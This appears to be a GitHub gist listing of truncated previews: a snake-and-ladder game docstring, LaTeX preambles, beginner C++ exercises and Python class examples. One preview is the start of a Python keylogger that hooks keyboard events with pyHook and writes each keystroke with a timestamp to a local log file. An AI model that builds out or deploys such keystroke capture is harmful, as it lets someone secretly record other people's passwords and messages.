This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
SNAKE AND LADDER GAME SIMULATION | |
bikalpa (2019-01-10) | |
RULE: | |
A player will get spawned only if she gets 1 in the dice. | |
After that, if the player gets the number n in the dice, she moves forward n boxes | |
If there is a ladder starting from the square the player is currently in, she is promoted to the square where the ladder ends | |
If there is a snake starting from the square the player is currently in, she is demoted to the square where the tail of snake lies. | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\documentclass[a4paper,10pt]{article} | |
\usepackage[utf8]{inputenc} | |
\usepackage{tikz} | |
\usetikzlibrary{shapes.geometric, arrows} | |
\tikzstyle{decision} = [diamond, draw, text badly centered] | |
\tikzstyle{block} = [rectangle, draw, text centered, rounded corners, minimum size=2em, inner sep=4] | |
\tikzstyle{line} = [draw, -latex'] | |
\begin{document} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook, pythoncom, sys, logging | |
import datetime | |
file_log = 'D:\\Lab\\logs\\keystrokes\keylogs.bd' #Change this path to where you want to store the logs to. | |
def onKeyboardEvent(event): | |
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') | |
logging.log(10, str(datetime.datetime.now()) + ' >>' + chr(event.Ascii) + '<<') | |
return True |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
int main() { | |
cout << "Welcome to C++ programming" << endl; | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
float Add(float a, float b, float c){ | |
return a+b+c; | |
} | |
int main() { | |
float a, b, c; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\documentclass[12pt, a4paper]{report} | |
% gives the margin to the page for entire document | |
\usepackage[bindingoffset=1.57cm, left=2.54cm, right=2.54cm, top=2.54cm, bottom=2.54cm]{geometry} | |
\usepackage{graphicx} | |
\graphicspath{ {images/} } | |
\usepackage{wrapfig} | |
\usepackage{mathptmx} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Create a class template Vector with a type parameter T which holds an array of type T. Also, include constructor to initialize the objects, a function to calculate scalar product of two two vectors by overloading '*' operator so that statements like v1 * v2 are permissible. | |
Write a main function to test the above class template and find the scalar product of following pairs of vectors. {1, 2, 3}, {4, 5, 6} and {2.5, 3.5, 4.5}, {1.5, 2.5, 3.5}. | |
*/ | |
#import <iostream> | |
using namespace std; | |
template <typename T> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Create a class shape with a pure virtual member function display (). Derive two classes circle and rectangle. With member function by overriding member function in base class shape to display the name of respective shape. Write main function to create objects of derived classes and call display function. | |
*/ | |
#import <iostream> | |
using namespace std; | |
class Shape{ | |
public: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Car(): | |
def __init__(self, name): | |
self.name = name | |
def display(self): | |
print(self.name) | |
class Tata(Car): | |
def __init__(self, name): | |
self.name = name |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Car(): | |
def __init__(self, year): | |
self.year = year | |
def display(self): | |
print('i am inside parent') | |
class Tata(Car): | |
def __init__(self, year): | |
self.year = year |
OlderNewer